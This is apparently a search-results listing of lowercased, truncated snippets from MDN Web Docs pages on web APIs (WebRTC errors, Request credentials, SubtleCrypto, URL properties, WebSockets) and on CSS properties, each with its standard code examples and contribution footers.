examples // strings for each of the sctp cause codes found in rfc // 4960, section 3.3.10: // https://tools.ietf.org/html/rfc4960#section-3.3.10 const sctpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has n...
...col violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity provider load failure: http error ", err.httprequeststatuscode); break; case "sctp-failure": if (err.sctpcausecode < sctpcausecodes.length) { console.error(" sctp failure: ", err.sctpcausecode); } else { console.error(" unknown sctp error"); } break; case "dtls-failure": if (err.receivedalert) { console.error(" received dlts fai...
Request.credentials - Web APIs
same-origin: send user credentials (cookies, basic http auth, etc..) if the url is on the same origin as the calling script.
... include: always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls.
Request - Web APIs
WebAPIRequest
examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to a windoworworkerglobalscope.fetch() call, for example: fetch(request) .then(response => response.blob()) .then(blob => { image.src = url.createobjecturl(blob); }); in t...
...he following snippet, we create a new request using the request() constructor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchparams, usvstring or readablestream type, so for adding a json object to the payload you need to stringify that object.
SVGCircleElement - Web APIs
example svg content <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickcircle();"/> </svg> javascript content this function clickcircle() is called when the circle is clicked.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGLength - Web APIs
WebAPISVGLength
svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20p...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVGTransformList - Web APIs
<svg id="my-svg" viewbox="0 0 300 280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <desc>example showing how to transform svg elements that using svgtransform objects</desc> <script type="application/ecmascript"> <![cdata[ function transformme(evt) { // svg root element to access the createsvgtransform() function var svgroot = evt.target.parentnode; // svgtransformlist of the element that has been clicked on ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using the Screen Capture API - Web APIs
this can be done using the feature-policy http header or—if you're using the screen capture api in an <iframe>, the <iframe> element's allow attribute.
... for example, this line in the http headers will enable screen capture api for the document and any embedded <iframe> elements that are loaded from the same origin: feature-policy: display-capture 'self' if you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission: <iframe src="https://mycode.example.net/etc" allow="display-capture"> </iframe> ...
Using server-sent events - Web APIs
when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be especially painful when opening multiple tabs, as the limit is per browser and is set to a very low number (6).
...when using http/2, the maximum number of simultaneous http streams is negotiated between the server and the client (defaults to 100).
SubtleCrypto.exportKey() - Web APIs
/* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
... /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
SubtleCrypto.importKey() - Web APIs
/* convert a string into an arraybuffer from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function str2ab(str) { const buf = new arraybuffer(str.length); const bufview = new uint8array(buf); for (let i = 0, strlen = str.length; i < strlen; i++) { bufview[i] = str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbk...
... // from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string function str2ab(str) { const buf = new arraybuffer(str.length); const bufview = new uint8array(buf); for (let i = 0, strlen = str.length; i < strlen; i++) { bufview[i] = str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin public key----- miibijanbgkqhkig9w0b...
TextEncoder - Web APIs
for (var point=0, nextcode=0, i = 0; i !== len; ) { point = str.charcodeat(i), i += 1; if (point >= 0xd800 && point <= 0xdbff) { if (i === len) { resarr[respos += 1] = 0xef/*0b11101111*/; resarr[respos += 1] = 0xbf/*0b10111111*/; resarr[respos += 1] = 0xbd/*0b10111101*/; break; } // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae nextcode = str.charcodeat(i); if (nextcode >= 0xdc00 && nextcode <= 0xdfff) { point = (point - 0xd800) * 0x400 + nextcode - 0xdc00 + 0x10000; i += 1; if (point > 0xffff) { resarr[respos += 1] = (0x1e/*0b11110*/<<3) | (...
...property(textencoder.prototype,"encoding",{ get:function(){if(textencoder.prototype.isprototypeof(this)) return"utf-8"; else throw typeerror("illegal invocation");} }); } catch(e) { /*ie6-8 fallback*/ textencoder.prototype.encoding = "utf-8"; } if(typeof symbol!=="undefined")textencoder.prototype[symbol.tostringtag]="textencoder"; } source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder' in that specification.
URLSearchParams.toString() - Web APIs
(returns an empty string if no search parameters have been set.) examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
... params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification.
URLSearchParams - Web APIs
var paramsstring1 = "http://example.com/search?query=%40"; var searchparams1 = new urlsearchparams(paramsstring1); searchparams1.has("query"); // false searchparams1.has("http://example.com/search?query"); // true searchparams1.get("query"); // null searchparams1.get("http://example.com/search?query"); // "@" (equivalent to decodeuricomponent('%40')) var paramsstring2 = "?query=value"; var searchparams2 = new urlsearch...
...params(paramsstring2); searchparams2.has("query"); // true var url = new url("http://example.com/search?query=%40"); var searchparams3 = new urlsearchparams(url.search); searchparams3.has("query") // true specifications specification status comment urlthe definition of 'urlsearchparams' in that specification.
URLUtilsReadOnly.hash - Web APIs
syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.host - Web APIs
syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.hostname - Web APIs
syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.href - Web APIs
syntax string = object.href; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/urlutilsreadonly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.pathname - Web APIs
syntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.port - Web APIs
syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.protocol - Web APIs
syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.search - Web APIs
syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URLUtilsReadOnly.toString() - Web APIs
syntax string = object.tostring(); examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Writing WebSocket client applications - Web APIs
establishing a websocket relies on the http upgrade mechanism, so the request for the protocol upgrade is implicit when we address the web server as ws://www.example.com or wss://www.example.com.
... security considerations websockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure websocket connection from a page loaded using https or vice-versa.
Movement, orientation, and motion: A WebXR example - Web APIs
uniformlocations: { projectionmatrix: gl.getuniformlocation(shaderprogram, 'uprojectionmatrix'), modelviewmatrix: gl.getuniformlocation(shaderprogram, 'umodelviewmatrix'), normalmatrix: gl.getuniformlocation(shaderprogram, 'unormalmatrix'), usampler: gl.getuniformlocation(shaderprogram, 'usampler') }, }; buffers = initbuffers(gl); texture = loadtexture(gl, 'https://cdn.glitch.com/a9381af1-18a9-495e-ad01-afddfd15d000%2ffirefox-logo-solid.png?v=1575659351244'); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); if (session_type == "immersive-vr") { refspacetype = "local"; } else { refspacetype = "viewer"; } mat4.fromtranslation(cubematrix, viewerstartposition); vec3.copy(cubeorientation, viewerstartor...
... function displaymatrix(mat, rowlength, target) { let outhtml = ""; if (mat && rowlength && rowlength <= mat.length) { let numrows = mat.length / rowlength; outhtml = "<math xmlns='http://www.w3.org/1998/math/mathml' display='block'>\n<mrow>\n<mo>[</mo>\n<mtable>\n"; for (let y=0; y<numrows; y++) { outhtml += "<mtr>\n"; for (let x=0; x<rowlength; x++) { outhtml += `<mtd><mn>${mat[(x*rowlength) + y].tofixed(2)}</mn></mtd>\n`; } outhtml += "</mtr>\n"; } outhtml += "</mtable>\n<mo>]</mo>\n</mrow>\n</math>"; } target.innerhtml = out...
Migrating from webkitAudioContext - Web APIs
the example below shows old code which downloads an audio file over the network, and then decoded it using createbuffer(): var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { var decodedbuffer = context.createbuffer(xhr.response, false); if (decodedbuffer) { // decoding was successful, do something useful with the audio buffer } else { alert("decoding the audio buffer failed"); } }; converting this code to use decodeaudiodata...
...() is relatively simple, as can be seen below: var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the audio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishes, one of the success or failure callback functions will get called depending on whether the audio decoding was successful.
Window.window - Web APIs
WebAPIWindowwindow
another reason, is that without this property you wouldn't be able to write, for example, "window.open('http://google.com/')".
... you'd have to use "open('http://google.com/')" instead.
WindowEventHandlers.onpopstate - Web APIs
examples for example, a page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // al...
...erts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // alerts "location: http://example.com/example.html, state: null history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired, when we activate that entry after the second call to history.back().
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
cookies and http authentification) when loading the module.
... examples audioworklet example const audioctx = new audiocontext(); const audioworklet = audioctx.audioworklet; await audioworklet.addmodule('modules/bypassfilter.js', { credentials: 'omit', }); paintworklet example css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports (background-image: paint(id)) { h1 { background-image: paint(hollowhighlights, filled, 3px); } } specifications specification status comment worklets level 1the defi...
XDomainRequest.open() - Web APIs
syntax xdr.open(method, url); parameters method the http method to use for the request.
... example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); specification not part of any specification.
XSL Transformations in Mozilla FAQ - Web APIs
the xslt namespace is http://www.w3.org/1999/xsl/transform.
...to find out which mime type your server sends, look at page info, use extensions like livehttpheaders or a download manager like wget.
Using the link role - Accessibility
html <h1>role="link" example</h1> <span data-href="https://mozilla.org" tabindex="0" id="link1" role="link" class="link"> fake accessible link created using a span </span> <p><a href="https://mozilla.org" target="_blank">actual real link</a></p> css span[role="link"] { color: blue; text-decoration: underline; cursor: pointer; } span[role="link"]:focus { outline: 1px dotted black; } javascript const spanelem = document.queryselector('s...
... aria attributes used link related aria techniques button role additional resources aria best practices - link role: http://www.w3.org/tr/wai-aria-practices/#link ...
Using the log role - Accessibility
<div id="chatarea" role="log"> <ul id="chatregion" aria-live="polite" aria-atomic="false"> <li>please choose a user name to begin using ajax chat.</li> </ul> <ul id="userlistregion" aria-live="off" aria-relevant="additions removals text"> </ul> </div> working examples: http://websiteaccessibility.donaldevans.com/2011/07/12/aria-log/ notes using the log role on an element implies that element has aria-live="polite".
... aria attributes used log related aria techniques marquee role compatibility tbd: add support information for common ua and at product combinations additional resources aria best practices – mplementing live regions: http://www.w3.org/tr/wai-aria-practices/#liveregions ...
Architecture - Accessibility
example take the following html code: <div>hello<a href="http://www.mozilla.org/access">my link<img src="image.gif">is cool</a>bye</div> both the <a> and <img> are hyperlinks also, both the <div> and <a> are hypertexts so the <a> is both a hypertext and a hyperlink, because it contains text and is contained within text.
...see http://svn.gnome.org/viewcvs/lsr/tru...py?view=markup for a bsd implementation.
@charset - CSS: Cascading Style Sheets
WebCSS@charset
the value given by the charset attribute of the content-type: http header or the equivalent in the protocol used to serve the style sheet.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
@font-face - CSS: Cascading Style Sheets
font mime types format mime type truetype font/ttf opentype font/otf web open font format font/woff web open font format 2 font/woff2 notes web fonts are subject to the same domain restriction (font files must be on the same domain as the page using them), unless http access controls are used to relax this restriction.
... }where <family-name> = <string> | <custom-ident>+ examples specifying a downloadable font this example simply specifies a downloadable font to use, applying it to the entire body of the document: view the live example <html> <head> <title>web font sample</title> <style type="text/css" media="screen, print"> @font-face { font-family: "bitstream vera serif bold"; src: url("https://mdn.mozillademos.org/files/2468/verasebd.ttf"); } body { font-family: "bitstream vera serif bold", serif } </style> </head> <body> this is bitstream vera serif bold.
@namespace - CSS: Cascading Style Sheets
this means that html elements will act as though they are in the xhtml namespace (http://www.w3.org/1999/xhtml), even if there is no xmlns attribute anywhere in the document, and the <svg> and <math> elements will be assigned their proper namespaces (http://www.w3.org/2000/svg and http://www.w3.org/1998/math/mathml).
...[ <string> | <url> ];where <namespace-prefix> = <ident> examples specifying default and prefixed namespaces @namespace url(http://www.w3.org/1999/xhtml); @namespace svg url(http://www.w3.org/2000/svg); /* this matches all xhtml <a> elements, as xhtml is the default unprefixed namespace */ a {} /* this matches all svg <a> elements */ svg|a {} /* this matches both xhtml and svg <a> elements */ *|a {} specifications specification status comment css namespaces modulethe definition of '@namespa...
Attribute selectors - CSS: Cascading Style Sheets
/* <a> elements with a title attribute */ a[title] { color: purple; } /* <a> elements with an href matching "https://example.org" */ a[href="https://example.org"] { color: green; } /* <a> elements with an href containing "example" */ a[href*="example"] { font-size: 2em; } /* <a> elements with an href ending ".org" */ a[href$=".org"] { font-style: italic; } /* <a> elements whose class attribute contains the word "logo" */ a[class~="logo"] { padding: 2px; } syntax [attr] represents elements with an attribute name of attr.
... in the url */ a[href*="example"] { background-color: silver; } /* links with "insensitive" anywhere in the url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links that end in ".org" */ a[href$=".org"] { color: red; } /* links that start with "https" and end in ".org" */ a[href^="https"][href$=".org"] { color: green; } html <ul> <li><a href="#internal">internal link</a></li> <li><a href="http://example.com">example link</a></li> <li><a href="#insensitive">insensitive internal link</a></li> <li><a href="http://example.org">example org link</a></li> <li><a href="https://example.org">example https org link</a></li> </ul> result...
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
eat(auto-fill, minmax(120px, 1fr)); grid-gap: 10px; grid-auto-flow: dense; list-style: none; margin: 1em auto; padding: 0; max-width: 800px; } .wrapper li { border: 1px solid #ccc; } .wrapper li.landscape { grid-column-end: span 2; } .wrapper li img { display: block; object-fit: cover; width: 100%; height: 100%; } <ul class="wrapper"> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li class="landscape"><img src="https://udn.realityripple.com/samples/62/643f590dbc.png" alt="placeholder"></li> <li class="landscape"><img src="https://udn.realityripple.com/samples/62/643f590dbc.png" alt="placeholder"></li> <li class="landscape"><img src="https://udn.realityripple.com/samples/62/643f590dbc.png"...
... alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li class="landscape"><img src="https://udn.realityripple.com/samples/62/643f590dbc.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> <li><img src="https://udn.realityripple.com/samples/72/ab41das78e.png" alt="placeholder"></li> </ul> auto-placement can also help you lay out interface items which do have logical order.
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... note: when using http/2, it may in fact be more bandwidth-friendly to use multiple small requests.
Using CSS transforms - CSS: Cascading Style Sheets
<img style="transform: rotate(90deg); transform-origin: bottom left;" src="https://udn.realityripple.com/samples/6d/6633f3efc0.png"> skewing and translating here is the mdn logo, skewed by 10 degrees and translated by 150 pixels on the x-axis.
... <img style="transform: skewx(10deg) translatex(150px); transform-origin: bottom left;" src="https://udn.realityripple.com/samples/6d/6633f3efc0.png"> 3d specific css properties performing css transformations in 3d space is a bit more complex.
Specificity - CSS: Cascading Style Sheets
(the selectors declared inside :not() do, however.) for more information, visit: "specificity" in "cascade and inheritance", you can also visit: https://specifishity.com inline styles added to an element (e.g., style="font-weight: bold;") always overwrite any styles in external stylesheets, and thus can be thought of as having the highest specificity.
... for more information, visit: https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css https://stackoverflow.com/questions/11178673/how-to-override-important https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-t...
animation-delay - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
animation-direction - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background-blend-mode - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...ighten</option> <option>color-dodge</option> <option>color-burn</option> <option>hard-light</option> <option>soft-light</option> <option>difference</option> <option>exclusion</option> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications ...
background-size - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
background - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...e <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting backgrounds with color keywords and images html <p class="topbanner"> starry sky<br/> twinkle twinkle<br/> starry sky </p> <p class="warning">here is a paragraph<p> css .warning { background: pink; } .topbanner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background' in that specification.
border-bottom-width - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-image-repeat - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples repeating border images css #bordered { width: 12rem; margin-bottom: 1rem; padding: 1rem; border: 40px solid; border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27; border-image-repeat: stretch; /* can be changed in the live sample */ } html <div id="bordered">you can try out various border repetition rules on me!</div> <select id="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="round">round</option> <option value="space">space</opt...
border-image-slice - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... id="width-output">30px</output> </li> <li> <label for="slice">slide to adjust <code>border-image-slice</code></label> <input type="range" min="10" max="45" id="slice"> <output id="slice-output">30</output> </li> </ul> css .wrapper { width: 400px; height: 300px; } div > div { width: 300px; height: 200px; border-width: 30px; border-style: solid; border-image: url(https://udn.realityripple.com/samples/56/bb98f533ef.png); border-image-slice: 30; border-image-repeat: round; } li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-outpu...
border-image - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... #bitmap { width: 200px; background-color: #ffa; border: 36px solid orange; margin: 30px; padding: 10px; border-image: url("https://udn.realityripple.com/samples/2c/fa0192d18e.png") /* source */ 27 / /* slice */ 36px 28px 18px 8px / /* width */ 18px 14px 9px 4px /* outset */ round; /* repeat */ } result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; border: 3...
border-left-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-left - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-radius - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... 10px 40px 40px 10px; border: groove 1em red; border-radius: 2em; background: gold; border: ridge gold; border-radius: 13em/3em; border: none; border-radius: 40px 10px; border: none; border-radius: 50%; border: dotted; border-width: 10px 4px; border-radius: 10px 40px; border: dashed; border-width: 2px 4px; border-radius: 40px; live samples sample 1 : http://jsfiddle.net/tripad/qngkj/2/ sample 2 : http://jsfiddle.net/tripad/qngkj/3/ sample 3 : http://jsfiddle.net/tripad/qngkj/4/ sample 4 : http://jsfiddle.net/tripad/qngkj/5/ sample 5 : http://jsfiddle.net/tripad/qngkj/6/ specifications specification status comment css backgrounds and borders module level 3the definition of 'border-radius' in that specification.
border-right-style - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-right - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-top - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border - CSS: Cascading Style Sheets
WebCSSborder
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
break-inside - CSS: Cascading Style Sheets
fusce iaculis urna id neque dapibus, eu lacinia lectus dictum.</p> <figure> <img src="https://udn.realityripple.com/samples/fe/4508d88f78.png"> <figcaption>the firefox logo — fox wrapped around the world</figcaption> </figure> <p>praesent condimentum dui dui, sit amet rutrum diam tincidunt eu.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
caption-side - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
clear - CSS: Cascading Style Sheets
WebCSSclear
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...ip-path: content-box circle(25% at 25% 25%); } .defs { width: 0; height: 0; margin: 0; } pre { margin-bottom: 0; } svg { margin: 1em; font-family: sans-serif; width: 192px; height: 192px; } svg rect { stroke: pink; stroke-width: 16px; } svg text { fill: pink; text-anchor: middle; } svg text.em { font-style: italic; } complete example html <img id="clipped" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"> <svg height="0" width="0"> <defs> <clippath id="cross"> <rect y="110" x="137" width="90" height="90"/> <rect x="0" y="110" width="90" height="90"/> <rect x="137" y="0" width="90" height="90"/> <rect x="0" y="0" width="90" height="90"/> </clippath> </defs> </svg> <select id="clippath"> <o...
column-count - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
direction - CSS: Cascading Style Sheets
WebCSSdirection
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... chromium bug: https://bugs.chromium.org/p/chromium/issues/detail?id=804600 there is value in thinking about the values of display in this two-value way however.
empty-cells - CSS: Cascading Style Sheets
